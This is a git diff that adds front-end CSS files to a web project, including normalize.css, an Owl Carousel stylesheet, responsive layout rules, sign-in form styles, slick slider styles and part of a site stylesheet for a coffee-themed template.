+.nice-select .option.selected {
+  font-weight: bold;
+}
+
+.nice-select .option.disabled {
+  background-color: transparent;
+  color: #999;
+  cursor: default;
+}
+
+.no-csspointerevents .nice-select .list {
+  display: none;
+}
+
+.no-csspointerevents .nice-select.open .list {
+  display: block;
+}
diff --git a/public/css/normalize.css b/public/css/normalize.css
new file mode 100644
index 0000000..b26c100
--- /dev/null
+++ b/public/css/normalize.css
@@ -0,0 +1,427 @@
+/*! normalize.css v6.0.0 | MIT License | github.com/necolas/normalize.css */
+
+/* Document
+   ========================================================================== */
+
+/**
+ * 1. Correct the line height in all browsers.
+ * 2. Prevent adjustments of font size after orientation changes in
+ *    IE on Windows Phone and in iOS.
+ */
+
+html {
+  line-height: 1.15; /* 1 */
+  -ms-text-size-adjust: 100%; /* 2 */
+  -webkit-text-size-adjust: 100%; /* 2 */
+}
+
+/* Sections
+   ========================================================================== */
+
+/**
+ * Add the correct display in IE 9-.
+ */
+
+article,
+aside,
+footer,
+header,
+nav,
+section {
+  display: block;
+}
+
+/**
+ * Correct the font size and margin on `h1` elements within `section` and
+ * `article` contexts in Chrome, Firefox, and Safari.
+ */
+
+h1 {
+  font-size: 2em;
+  margin: 0.67em 0;
+}
+
+/* Grouping content
+   ========================================================================== */
+
+/**
+ * Add the correct display in IE 9-.
+ * 1. Add the correct display in IE.
+ */
+
+figcaption,
+figure,
+main { /* 1 */
+  display: block;
+}
+
+/**
+ * Add the correct margin in IE 8.
+ */
+
+figure {
+  margin: 1em 40px;
+}
+
+/**
+ * 1. Add the correct box sizing in Firefox.
+ * 2. Show the overflow in Edge and IE.
+ */
+
+hr {
+  box-sizing: content-box; /* 1 */
+  height: 0; /* 1 */
+  overflow: visible; /* 2 */
+}
+
+/**
+ * 1. Correct the inheritance and scaling of font size in all browsers.
+ * 2. Correct the odd `em` font sizing in all browsers.
+ */
+
+pre {
+  font-family: monospace, monospace; /* 1 */
+  font-size: 1em; /* 2 */
+}
+
+/* Text-level semantics
+   ========================================================================== */
+
+/**
+ * 1. Remove the gray background on active links in IE 10.
+ * 2. Remove gaps in links underline in iOS 8+ and Safari 8+.
+ */
+
+a {
+  background-color: transparent; /* 1 */
+  -webkit-text-decoration-skip: objects; /* 2 */
+}
+
+/**
+ * 1. Remove the bottom border in Chrome 57- and Firefox 39-.
+ * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
+ */
+
+abbr[title] {
+  border-bottom: none; /* 1 */
+  text-decoration: underline; /* 2 */
+  text-decoration: underline dotted; /* 2 */
+}
+
+/**
+ * Prevent the duplicate application of `bolder` by the next rule in Safari 6.
+ */
+
+b,
+strong {
+  font-weight: inherit;
+}
+
+/**
+ * Add the correct font weight in Chrome, Edge, and Safari.
+ */
+
+b,
+strong {
+  font-weight: bolder;
+}
+
+/**
+ * 1. Correct the inheritance and scaling of font size in all browsers.
+ * 2. Correct the odd `em` font sizing in all browsers.
+ */
+
+code,
+kbd,
+samp {
+  font-family: monospace, monospace; /* 1 */
+  font-size: 1em; /* 2 */
+}
+
+/**
+ * Add the correct font style in Android 4.3-.
+ */
+
+dfn {
+  font-style: italic;
+}
+
+/**
+ * Add the correct background and color in IE 9-.
+ */
+
+mark {
+  background-color: #ff0;
+  color: #000;
+}
+
+/**
+ * Add the correct font size in all browsers.
+ */
+
+small {
+  font-size: 80%;
+}
+
+/**
+ * Prevent `sub` and `sup` elements from affecting the line height in
+ * all browsers.
+ */
+
+sub,
+sup {
+  font-size: 75%;
+  line-height: 0;
+  position: relative;
+  vertical-align: baseline;
+}
+
+sub {
+  bottom: -0.25em;
+}
+
+sup {
+  top: -0.5em;
+}
+
+/* Embedded content
+   ========================================================================== */
+
+/**
+ * Add the correct display in IE 9-.
+ */
+
+audio,
+video {
+  display: inline-block;
+}
+
+/**
+ * Add the correct display in iOS 4-7.
+ */
+
+audio:not([controls]) {
+  display: none;
+  height: 0;
+}
+
+/**
+ * Remove the border on images inside links in IE 10-.
+ */
+
+img {
+  border-style: none;
+}
+
+/**
+ * Hide the overflow in IE.
+ */
+
+svg:not(:root) {
+  overflow: hidden;
+}
+
+/* Forms
+   ========================================================================== */
+
+/**
+ * Remove the margin in Firefox and Safari.
+ */
+
+button,
+input,
+optgroup,
+select,
+textarea {
+  margin: 0;
+}
+
+/**
+ * Show the overflow in IE.
+ * 1. Show the overflow in Edge.
+ */
+
+button,
+input { /* 1 */
+  overflow: visible;
+}
+
+/**
+ * Remove the inheritance of text transform in Edge, Firefox, and IE.
+ * 1. Remove the inheritance of text transform in Firefox.
+ */
+
+button,
+select { /* 1 */
+  text-transform: none;
+}
+
+/**
+ * 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`
+ *    controls in Android 4.
+ * 2. Correct the inability to style clickable types in iOS and Safari.
+ */
+
+button,
+html [type="button"], /* 1 */
+[type="reset"],
+[type="submit"] {
+  -webkit-appearance: button; /* 2 */
+}
+
+/**
+ * Remove the inner border and padding in Firefox.
+ */
+
+button::-moz-focus-inner,
+[type="button"]::-moz-focus-inner,
+[type="reset"]::-moz-focus-inner,
+[type="submit"]::-moz-focus-inner {
+  border-style: none;
+  padding: 0;
+}
+
+/**
+ * Restore the focus styles unset by the previous rule.
+ */
+
+button:-moz-focusring,
+[type="button"]:-moz-focusring,
+[type="reset"]:-moz-focusring,
+[type="submit"]:-moz-focusring {
+  outline: 1px dotted ButtonText;
+}
+
+/**
+ * 1. Correct the text wrapping in Edge and IE.
+ * 2. Correct the color inheritance from `fieldset` elements in IE.
+ * 3. Remove the padding so developers are not caught out when they zero out
+ *    `fieldset` elements in all browsers.
+ */
+
+legend {
+  box-sizing: border-box; /* 1 */
+  color: inherit; /* 2 */
+  display: table; /* 1 */
+  max-width: 100%; /* 1 */
+  padding: 0; /* 3 */
+  white-space: normal; /* 1 */
+}
+
+/**
+ * 1. Add the correct display in IE 9-.
+ * 2. Add the correct vertical alignment in Chrome, Firefox, and Opera.
+ */
+
+progress {
+  display: inline-block; /* 1 */
+  vertical-align: baseline; /* 2 */
+}
+
+/**
+ * Remove the default vertical scrollbar in IE.
+ */
+
+textarea {
+  overflow: auto;
+}
+
+/**
+ * 1. Add the correct box sizing in IE 10-.
+ * 2. Remove the padding in IE 10-.
+ */
+
+[type="checkbox"],
+[type="radio"] {
+  box-sizing: border-box; /* 1 */
+  padding: 0; /* 2 */
+}
+
+/**
+ * Correct the cursor style of increment and decrement buttons in Chrome.
+ */
+
+[type="number"]::-webkit-inner-spin-button,
+[type="number"]::-webkit-outer-spin-button {
+  height: auto;
+}
+
+/**
+ * 1. Correct the odd appearance in Chrome and Safari.
+ * 2. Correct the outline style in Safari.
+ */
+
+[type="search"] {
+  -webkit-appearance: textfield; /* 1 */
+  outline-offset: -2px; /* 2 */
+}
+
+/**
+ * Remove the inner padding and cancel buttons in Chrome and Safari on macOS.
+ */
+
+[type="search"]::-webkit-search-cancel-button,
+[type="search"]::-webkit-search-decoration {
+  -webkit-appearance: none;
+}
+
+/**
+ * 1. Correct the inability to style clickable types in iOS and Safari.
+ * 2. Change font properties to `inherit` in Safari.
+ */
+
+::-webkit-file-upload-button {
+  -webkit-appearance: button; /* 1 */
+  font: inherit; /* 2 */
+}
+
+/* Interactive
+   ========================================================================== */
+
+/*
+ * Add the correct display in IE 9-.
+ * 1. Add the correct display in Edge, IE, and Firefox.
+ */
+
+details, /* 1 */
+menu {
+  display: block;
+}
+
+/*
+ * Add the correct display in all browsers.
+ */
+
+summary {
+  display: list-item;
+}
+
+/* Scripting
+   ========================================================================== */
+
+/**
+ * Add the correct display in IE 9-.
+ */
+
+canvas {
+  display: inline-block;
+}
+
+/**
+ * Add the correct display in IE.
+ */
+
+template {
+  display: none;
+}
+
+/* Hidden
+   ========================================================================== */
+
+/**
+ * Add the correct display in IE 10-.
+ */
+
+[hidden] {
+  display: none;
+}
diff --git a/public/css/owl.carousel.min.css b/public/css/owl.carousel.min.css
new file mode 100644
index 0000000..512e53b
--- /dev/null
+++ b/public/css/owl.carousel.min.css
@@ -0,0 +1,6 @@
+/**
+ * Owl Carousel v2.3.3
+ * Copyright 2013-2018 David Deutsch
+ * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
+ */
+.owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-dots.disabled,.owl-carousel .owl-nav.disabled{display:none}.no-js .owl-carousel,.owl-carousel.owl-loaded{display:block}.owl-carousel .owl-dot,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-nav .owl-prev{cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel .owl-nav button.owl-next,.owl-carousel .owl-nav button.owl-prev,.owl-carousel button.owl-dot{background:0 0;color:inherit;border:none;padding:0!important;font:inherit}.owl-carousel.owl-loading{opacity:0;display:block}.owl-carousel.owl-hidden{opacity:0}.owl-carousel.owl-refresh .owl-item{visibility:hidden}.owl-carousel.owl-drag .owl-item{-ms-touch-action:none;touch-action:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel.owl-grab{cursor:move;cursor:grab}.owl-carousel.owl-rtl{direction:rtl}.owl-carousel.owl-rtl .owl-item{float:right}.owl-carousel .animated{animation-duration:1s;animation-fill-mode:both}.owl-carousel .owl-animated-in{z-index:0}.owl-carousel .owl-animated-out{z-index:1}.owl-carousel .fadeOut{animation-name:fadeOut}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.owl-height{transition:height .5s ease-in-out}.owl-carousel .owl-item .owl-lazy{opacity:0;transition:opacity .4s ease}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:absolute;height:80px;width:80px;left:50%;top:50%;margin-left:-40px;margin-top:-40px;background:url(owl.video.play.png) no-repeat;cursor:pointer;z-index:1;-webkit-backface-visibility:hidden;transition:transform .1s ease}.owl-carousel .owl-video-play-icon:hover{-ms-transform:scale(1.3,1.3);transform:scale(1.3,1.3)}.owl-carousel .owl-video-playing .owl-video-play-icon,.owl-carousel .owl-video-playing .owl-video-tn{display:none}.owl-carousel .owl-video-tn{opacity:0;height:100%;background-position:center center;background-repeat:no-repeat;background-size:contain;transition:opacity .4s ease}.owl-carousel .owl-video-frame{position:relative;z-index:1;height:100%;width:100%}
\ No newline at end of file
diff --git a/public/css/product.css b/public/css/product.css
new file mode 100644
index 0000000..d091fc2
--- /dev/null
+++ b/public/css/product.css
@@ -0,0 +1,3 @@
+.btn-orange {
+    background-color: orange;
+}
\ No newline at end of file
diff --git a/public/css/responsive.css b/public/css/responsive.css
new file mode 100644
index 0000000..1d70d80
--- /dev/null
+++ b/public/css/responsive.css
@@ -0,0 +1,412 @@
+/*--------------------------------------------------------------------- File Name: responsive.css ---------------------------------------------------------------------*/
+
+
+/*------------------------------------------------------------------- 991px x 768px ---------------------------------------------------------------------*/
+
+@media only screen and (min-width: 768px) and (max-width: 991px) {
+    .header-search {
+        padding: 15px 0px;
+    }
+}
+
+
+/*------------------------------------------------------------------- 767px x 599px ---------------------------------------------------------------------*/
+
+@media only screen and (min-width: 599px) and (max-width: 767px) {
+    .logo {
+        text-align: center;
+    }
+    .cart-content-right {
+        padding-bottom: 5px;
+    }
+    .mg {
+        margin: 0px 0px;
+    }
+    .menu-area-main {
+        height: 256px;
+        overflow-y: auto;
+    }
+    .megamenu>.row [class*="col-"] {
+        padding: 0px;
+    }
+    .menu-area-main .megamenu .men-cat {
+        padding: 0px 15px;
+    }
+    .menu-area-main .megamenu .women-cat {
+        padding: 0px 15px;
+    }
+    .menu-area-main .megamenu .el-cat {
+        padding: 0px 15px;
+    }
+    .mean-container .mean-nav ul li a.mean-expand {
+        height: 19px;
+    }
+    .category-box.women-box {
+        display: none;
+    }
+    .cart-box {
+        display: inline-block;
+        margin: 0px 30px;
+    }
+    .wish-box {
+        float: none;
+        margin: 0px 30px;
+        display: inline-block;
+    }
+    .menu-add {
+        display: none;
+    }
+    .category-box {
+        display: none;
+    }
+    .mean-container .mean-nav ul li ol {
+        padding: 0px;
+    }
+    .mean-container .mean-nav ul li a {
+        padding: 10px 20px;
+        width: 94.8%;
+    }
+    .mean-container .mean-nav ul li li a {
+        width: 92%;
+        padding: 1em 4%;
+    }
+    .mean-container .mean-nav ul li li li a {
+        width: 100%;
+    }
+    .header-search {
+        padding: 15px 0px;
+    }
+    #collapseFilter.d-md-block {
+        padding: 30px 0px;
+    }
+}
+
+
+/*------------------------------------------------------------------- 599px x 280px ---------------------------------------------------------------------*/
+
+@media only screen and (min-width: 280px) and (max-width: 599px) {
+    .cart-content-right {
+        padding-bottom: 5px;
+    }
+    .megamenu>.row [class*="col-"] {
+        padding: 0px;
+    }
+    .menu-area-main .megamenu .men-cat {
+        padding: 0px 15px;
+    }
+    .menu-area-main .megamenu .women-cat {
+        padding: 0px 15px;
+    }
+    .menu-area-main .megamenu .el-cat {
+        padding: 0px 15px;
+    }
+    .mean-container .mean-nav ul li a {
+        padding: 1em 4%;
+        width: 92%;
+    }
+    .mean-container .mean-nav ul li li a {
+        width: 90%;
+        padding: 1em 5%;
+    }
+    .mean-container .sub-full.megamenu-categories ol li a {
+        padding: 5px 0px;
+        text-transform: capitalize;
+        width: 100%;
+    }
+    .megamenu .sub-full.megamenu-categories .women-box .banner-up-text a {
+        width: auto;
+        border: none;
+        float: none;
+    }
+    .menu-area-main {
+        height: 45px;
+        overflow-y: auto;
+    }
+    .mean-container .mean-nav ul li a.mean-expand {
+        top: 0;
+    }
+}
+
+@media (min-width: 992px) and (max-width: 1199px) {
+    #main_slider a.carousel-control-prev {
+        top: 95%;
+    }
+    #main_slider a.carousel-control-next {
+        top: 95%;
+    }
+    .banner_taital {
+        padding: 20px 0px;
+    }
+    .banner_section {
+        background-size: 100% 100%;
+        padding: 50px 0px;
+    }
+    .about_taital_main {
+        padding: 60px 0px;
+    }
+    .mail_section {
+        padding: 23px 20px;
+    }
+    .decorate_text {
+        font-size: 26px;
+    }
+}
+
+@media (min-width: 768px) and (max-width: 991px) {
+    #main_slider a.carousel-control-prev {
+        top: 90%;
+    }
+    #main_slider a.carousel-control-next {
+        top: 90%;
+    }
+    .navbar {
+        padding: 20px 0px;
+    }
+    .logo {
+        width: 50%;
+    }
+    .navbar-toggler {
+        background-color: #fff;
+        border: 1px solid #fff;
+    }
+    .navbar-expand-lg .navbar-nav .nav-link {
+        text-align: center;
+    }
+    .banner_section {
+        background-size: 100% 100%;
+    }
+    .outstanding_text {
+        font-size: 50px;
+    }
+    .coffee_text {
+        font-size: 60px;
+    }
+    .there_text {
+        width: 60%;
+        font-size: 14px;
+    }
+    .about_taital_main {
+        padding: 31px 0px;
+    }
+    .about_text {
+        font-size: 14px;
+    }
+    .about_img {
+        margin-top: 30px;
+    }
+    .gallery_text {
+        font-size: 14px;
+    }
+    img.image {
+        min-height: 210px;
+    }
+    .box_main {
+        margin-top: 20px;
+    }
+    .mail_section {
+        padding: 23px 15px;
+    }
+    .footer_section {
+        padding: 50px 0px;
+    }
+    .useful_text {
+        padding-top: 20px;
+    }
+    .box_main {
+        padding: 40px 5px;
+    }
+    .container_main {
+        margin-top: 30px;
+    }
+    .gallery_section_2 {
+        padding-top: 0;
+    }
+    .testimonial_section_2 {
+        padding: 0px 0px 30px 0px;
+    }
+    .testimonial_section_2::before {
+        height: 200px;
+    }
+    .testimonial_section_2::after {
+        height: 200px;
+    }
+    .customer_text {
+        font-size: 14px;
+        padding: 0px 30px;
+    }
+    .client_name_text {
+        padding-left: 130px;
+    }
+    .client_section_2 {
+        padding-bottom: 50px;
+    }
+    .decorate_text {
+        font-size: 22px;
+    }
+}
+
+@media (min-width: 576px) and (max-width: 767px) {
+    #main_slider a.carousel-control-prev {
+        top: 90%;
+    }
+    #main_slider a.carousel-control-next {
+        top: 90%;
+    }
+    .navbar {
+        padding: 20px 0px;
+    }
+    .logo {
+        width: 50%;
+    }
+    .navbar-toggler {
+        background-color: #fff;
+        border: 1px solid #fff;
+    }
+    .navbar-expand-lg .navbar-nav .nav-link {
+        text-align: center;
+    }
+    .banner_section {
+        background-size: 100% 100%;
+    }
+    .outstanding_text {
+        font-size: 30px;
+    }
+    .coffee_text {
+        font-size: 40px;
+    }
+    .there_text {
+        width: 100%;
+        font-size: 14px;
+    }
+    .about_taital_main {
+        padding: 0px;
+    }
+    .about_text {
+        font-size: 14px;
+    }
+    .about_img {
+        margin-top: 30px;
+    }
+    .gallery_text {
+        font-size: 14px;
+    }
+    .box_main {
+        margin-top: 20px;
+    }
+    .mail_section {
+        padding: 23px 15px;
+    }
+    .footer_section {
+        padding: 50px 0px;
+    }
+    .useful_text {
+        padding-top: 20px;
+    }
+    .container_main {
+        margin-top: 30px;
+    }
+    .gallery_section_2 {
+        padding-top: 0;
+    }
+    .testimonial_section_2 {
+        padding: 0px 0px 30px 0px;
+    }
+    .testimonial_section_2::before {
+        display: none;
+    }
+    .testimonial_section_2::after {
+        display: none;
+    }
+    .client_name_text {
+        padding-left: 0px;
+    }
+    .customer_text {
+        font-size: 14px;
+    }
+    .client_section_2 {
+        padding-bottom: 50px;
+    }
+}
+
+@media (max-width: 575px) {
+    #main_slider a.carousel-control-prev {
+        top: 90%;
+    }
+    #main_slider a.carousel-control-next {
+        top: 90%;
+    }
+    .navbar {
+        padding: 20px 0px;
+    }
+    .logo {
+        width: 50%;
+    }
+    .navbar-toggler {
+        background-color: #fff;
+        border: 1px solid #fff;
+    }
+    .navbar-expand-lg .navbar-nav .nav-link {
+        text-align: center;
+    }
+    .banner_section {
+        background-size: 100% 100%;
+    }
+    .outstanding_text {
+        font-size: 30px;
+    }
+    .coffee_text {
+        font-size: 40px;
+    }
+    .there_text {
+        width: 100%;
+        font-size: 14px;
+    }
+    .about_taital_main {
+        padding: 0px;
+    }
+    .about_text {
+        font-size: 14px;
+    }
+    .about_img {
+        margin-top: 30px;
+    }
+    .gallery_text {
+        font-size: 14px;
+    }
+    .box_main {
+        margin-top: 20px;
+    }
+    .mail_section {
+        padding: 23px 15px;
+    }
+    .footer_section {
+        padding: 50px 0px;
+    }
+    .useful_text {
+        padding-top: 20px;
+    }
+    .container_main {
+        margin-top: 30px;
+    }
+    .gallery_section_2 {
+        padding-top: 0;
+    }
+    .testimonial_section_2 {
+        padding: 0px 0px 30px 0px;
+    }
+    .testimonial_section_2::before {
+        display: none;
+    }
+    .testimonial_section_2::after {
+        display: none;
+    }
+    .client_name_text {
+        padding-left: 0px;
+    }
+    .customer_text {
+        font-size: 14px;
+    }
+    .client_section_2 {
+        padding-bottom: 50px;
+    }
+}
\ No newline at end of file
diff --git a/public/css/sign-in.css b/public/css/sign-in.css
new file mode 100644
index 0000000..a6cb05c
--- /dev/null
+++ b/public/css/sign-in.css
@@ -0,0 +1,25 @@
+html,
+body {
+  height: 100%;
+}
+
+.form-signin {
+  max-width: 330px;
+  padding: 1rem;
+}
+
+.form-signin .form-floating:focus-within {
+  z-index: 2;
+}
+
+.form-signin input[type="email"] {
+  margin-bottom: -1px;
+  border-bottom-right-radius: 0;
+  border-bottom-left-radius: 0;
+}
+
+.form-signin input[type="password"] {
+  margin-bottom: 10px;
+  border-top-left-radius: 0;
+  border-top-right-radius: 0;
+}
\ No newline at end of file
diff --git a/public/css/slick.css b/public/css/slick.css
new file mode 100644
index 0000000..1a9dd72
--- /dev/null
+++ b/public/css/slick.css
@@ -0,0 +1,108 @@
+/*---------------------------------------------------------------------
+    File Name: slick.css
+---------------------------------------------------------------------*/
+
+.slick-slider {
+    position: relative;
+    display: block;
+    -moz-box-sizing: border-box;
+    box-sizing: border-box;
+    -webkit-user-select: none;
+    -moz-user-select: none;
+    -ms-user-select: none;
+    user-select: none;
+    -webkit-touch-callout: none;
+    -khtml-user-select: none;
+    -ms-touch-action: pan-y;
+    touch-action: pan-y;
+    -webkit-tap-highlight-color: transparent;
+}
+
+.slick-list {
+    position: relative;
+    display: block;
+    overflow: hidden;
+    margin: 0;
+    padding: 0;
+}
+
+.slick-list:focus {
+    outline: none;
+}
+
+.slick-list.dragging {
+    cursor: pointer;
+    cursor: hand;
+}
+
+.slick-slider .slick-track,
+.slick-slider .slick-list {
+    -webkit-transform: translate3d(0, 0, 0);
+    -moz-transform: translate3d(0, 0, 0);
+    -ms-transform: translate3d(0, 0, 0);
+    -o-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+}
+
+.slick-track {
+    position: relative;
+    top: 0;
+    left: 0;
+    display: block;
+}
+
+.slick-track:before,
+.slick-track:after {
+    display: table;
+    content: '';
+}
+
+.slick-track:after {
+    clear: both;
+}
+
+.slick-loading .slick-track {
+    visibility: hidden;
+}
+
+.slick-slide {
+    display: none;
+    float: left;
+    height: 100%;
+    min-height: 1px;
+}
+
+[dir='rtl'] .slick-slide {
+    float: right;
+}
+
+.slick-slide img {
+    display: block;
+}
+
+.slick-slide.slick-loading img {
+    display: none;
+}
+
+.slick-slide.dragging img {
+    pointer-events: none;
+}
+
+.slick-initialized .slick-slide {
+    display: block;
+}
+
+.slick-loading .slick-slide {
+    visibility: hidden;
+}
+
+.slick-vertical .slick-slide {
+    display: block;
+    height: auto;
+    border: 1px solid transparent;
+}
+
+.slick-arrow.slick-hidden {
+    display: none;
+}
+
diff --git a/public/css/style.css b/public/css/style.css
new file mode 100644
index 0000000..82d9f77
--- /dev/null
+++ b/public/css/style.css
@@ -0,0 +1,999 @@
+/*--------------------------------------------------------------------- File Name: style.css ---------------------------------------------------------------------*/
+
+
+/*--------------------------------------------------------------------- import Fonts ---------------------------------------------------------------------*/
+
+@import url('https://fonts.googleapis.com/css?family=Rajdhani:300,400,500,600,700');
+@import url('https://fonts.googleapis.com/css?family=Poppins:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i');
+
+/*****---------------------------------------- 1) font-family: 'Rajdhani', sans-serif;
+ 2) font-family: 'Poppins', sans-serif;
+ ----------------------------------------*****/
+
+
+/*--------------------------------------------------------------------- import Files ---------------------------------------------------------------------*/
+
+@import url(animate.min.css);
+@import url(normalize.css);
+@import url(icomoon.css);
+@import url(css/font-awesome.min.css);
+@import url(meanmenu.css);
+@import url(owl.carousel.min.css);
+@import url(swiper.min.css);
+@import url(slick.css);
+@import url(jquery.fancybox.min.css);
+@import url(jquery-ui.css);
+@import url(nice-select.css);
+
+/*--------------------------------------------------------------------- skeleton ---------------------------------------------------------------------*/
+
+* {
+    box-sizing: border-box !important;
+    transition: ease all 0.5s;
+}
+
+html {
+    scroll-behavior: smooth;
+}
+
+body {
+    color: #666666;
+    font-size: 14px;
+    font-family: Poppins;
+    line-height: 1.80857;
+    font-weight: normal;
+    overflow-x: hidden !important;
+}
+
+a {
+    color: #1f1f1f;
+    text-decoration: none !important;
+    outline: none !important;
+    -webkit-transition: all .3s ease-in-out;
+    -moz-transition: all .3s ease-in-out;
+    -ms-transition: all .3s ease-in-out;
+    -o-transition: all .3s ease-in-out;
+    transition: all .3s ease-in-out;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+    letter-spacing: 0;
+    font-weight: normal;
+    position: relative;
+    padding: 0 0 10px 0;
+    font-weight: normal;
+    line-height: normal;
+    color: #111111;
+    margin: 0
+}
+
+h1 {
+    font-size: 24px
+}
+
+h2 {
+    font-size: 22px
+}
+
+h3 {
+    font-size: 18px
+}
+
+h4 {
+    font-size: 16px
+}
+
+h5 {
+    font-size: 14px
+}
+
+h6 {
+    font-size: 13px
+}
+
+*,
+*::after,
+*::before {
+    -webkit-box-sizing: border-box;
+    -moz-box-sizing: border-box;
+    box-sizing: border-box;
+}
+
+h1 a,
+h2 a,
+h3 a,
+h4 a,
+h5 a,
+h6 a {
+    color: #212121;
+    text-decoration: none!important;
+    opacity: 1
+}
+
+button:focus {
+    outline: none;
+}
+
+ul,
+li,
+ol {
+    margin: 0px;
+    padding: 0px;
+    list-style: none;
+}
+
+p {
+    margin: 20px;
+    font-weight: 300;
+    font-size: 15px;
+    line-height: 24px;
+}
+
+a {
+    color: #222222;
+    text-decoration: none;
+    outline: none !important;
+}
+
+a,
+.btn {
+    text-decoration: none !important;
+    outline: none !important;
+    -webkit-transition: all .3s ease-in-out;
+    -moz-transition: all .3s ease-in-out;
+    -ms-transition: all .3s ease-in-out;
+    -o-transition: all .3s ease-in-out;
+    transition: all .3s ease-in-out;
+}
+
+img {
+    max-width: 100%;
+    height: auto;
+}
+
+ :focus {
+    outline: 0;
+}
+
+.paddind_bottom_0 {
+    padding-bottom: 0 !important;
+}
+
+.btn-custom {
+    margin-top: 20px;
+    background-color: transparent !important;
+    border: 2px solid #ddd;
+    padding: 12px 40px;
+    font-size: 16px;
+}
+
+.lead {
+    font-size: 18px;
+    line-height: 30px;
+    color: #767676;
+    margin: 0;
+    padding: 0;
+}
+
+.form-control:focus {
+    border-color: #ffffff !important;
+    box-shadow: 0 0 0 .2rem rgba(255, 255, 255, .25);
+}
+
+.navbar-form input {
+    border: none !important;
+}
+
+.badge {
+    font-weight: 500;
+}
+
+blockquote {
+    margin: 20px 0 20px;
+    padding: 30px;
+}
+
+button {
+    border: 0;
+    margin: 0;
+    padding: 0;
+    cursor: pointer;
+}
+
+.full {
+    float: left;
+    width: 100%;
+}
+
+.layout_padding {
+    padding-top: 90px;
+    padding-bottom: 0px;
+}
+
+/* header section start */
+
+.header_section {
+    width: 100%;
+    float: left;
+    background-color: #252525;
+    height: auto;
+    background-size: 100%;
+}
+
+.bg-light {
+    background-color: transparent !important;
+}
+
+.header_main {
+    width: 100%;
+    float: left;
+    background: #10e2bd;
+    height: 80px;
+}
+
+.navbar-light .navbar-nav .active>.nav-link,
+.navbar-light .navbar-nav .nav-link.active,
+.navbar-light .navbar-nav .nav-link.show,
+.navbar-light .navbar-nav .show>.nav-link {
+    color: #f76d37;
+}
+
+.navbar-light .navbar-nav .nav-link:focus,
+.navbar-light .navbar-nav .nav-link:hover {
+    color: #f76d37;
+}
+
+.navbar {
+    padding: 20px 1rem;
+}
+
+.navbar-expand-lg .navbar-nav .nav-link {
+    padding-right: .5rem;
+    padding-left: .5rem;
+    font-size: 18px;
+    color: #fff;
+}
+
+.logo {}
+
+/* header section end */
+
+/* banner section start */
+
+.banner_section {
+    width: 100%;
+    float: left;
+    background-image: url(../images/banner-bg.png);
+    height: auto;
+    background-size: 100%;
+    padding: 10px 0px 25px 0px;
+    background-repeat: no-repeat;
+}
+
+.banner_taital {
+    width: 100%;
+    float: left;
+    padding: 100px 0px;
+}
+
+.outstanding_text {
+    width: 100%;
+    float: left;
+    font-size: 60px;
+    color: #252525;
+    padding-bottom: 0px;
+}
+
+.coffee_text {
+    width: 100%;
+    float: left;
+    font-size: 70px;
+    color: #fdfcfa;
+    font-weight: bold;
+    padding-bottom: 0px;
+}
+
+.there_text {
+    width: 50%;
+    float: left;
+    font-size: 16px;
+    color: #fff;
+    margin: 0px;
+    padding-bottom: 30px;
+}
+
+.learnmore_bt {
+    width: 170px;
+}
+
+.learnmore_bt a {
+    width: 100%;
+    float: left;
+    padding-right: 0;
+    background-color: #252525;
+    color: #fff;
+    text-align: center;
+    margin-right: 12px;
+    height: 53px;
+    padding: 15px 40px;
+    font-size: 14px;
+    text-transform: uppercase;
+}
+
+.learnmore_bt a:hover {
+    background-color: #f76d37;
+    color: #fff;
+}
+
+#main_slider a.carousel-control-next {
+    left: 0px;
+    right: -60px;
+    top: 440px;
+}
+
+#main_slider a.carousel-control-prev {
+    left: -60px;
+    right: 0px;
+    top: 440px;
+}
+
+#main_slider .carousel-control-next,
+#main_slider .carousel-control-prev {
+    width: 45px;
+    height: 45px;
+    background: #fff;
+    opacity: 1;
+    font-size: 30px;
+    color: #333333;
+    margin: 0 auto;
+    z-index: 1;
+    margin: 0 auto;
+    text-align: center;
+}
+
+#main_slider .carousel-control-next:focus,
+#main_slider .carousel-control-next:hover,
+#main_slider .carousel-control-prev:focus,
+#main_slider .carousel-control-prev:hover {
+    color: #ffffff;
+    background-color: #f76d37;
+}
+
+/* banner section end */
+
+/* about section start */
+
+.about_section {
+    width: 100%;
+    float: left;
+}
+
+.about_taital_main {
+    width: 100%;
+    float: left;
+    padding: 120px 0px;
+}
+
+.about_taital {
+    width: 100%;
+    float: left;
+    font-size: 40px;
+    color: #f76d37;
+    font-weight: bold;
+    text-transform: uppercase;
+}
+
+.about_text {
+    width: 100%;
+    float: left;
+    font-size: 16px;
+    color: #4c4c4b;
+    margin: 0px;
+    padding-top: 10px;
+}
+
+.about_text {
+    width: 100%;
+    float: left;
+    font-size: 16px;
+    color: #4c4c4b;
+    margin: 0px;
+    padding-top: 10px;
+}
+
+.read_bt {
+    width: 175px;
+    float: left;
+    padding-top: 40px;
+}
+
+.read_bt a {
+    width: 100%;
+    float: left;
+    font-size: 18px;
+    background-color: #252525;
+    color: #ffffff;
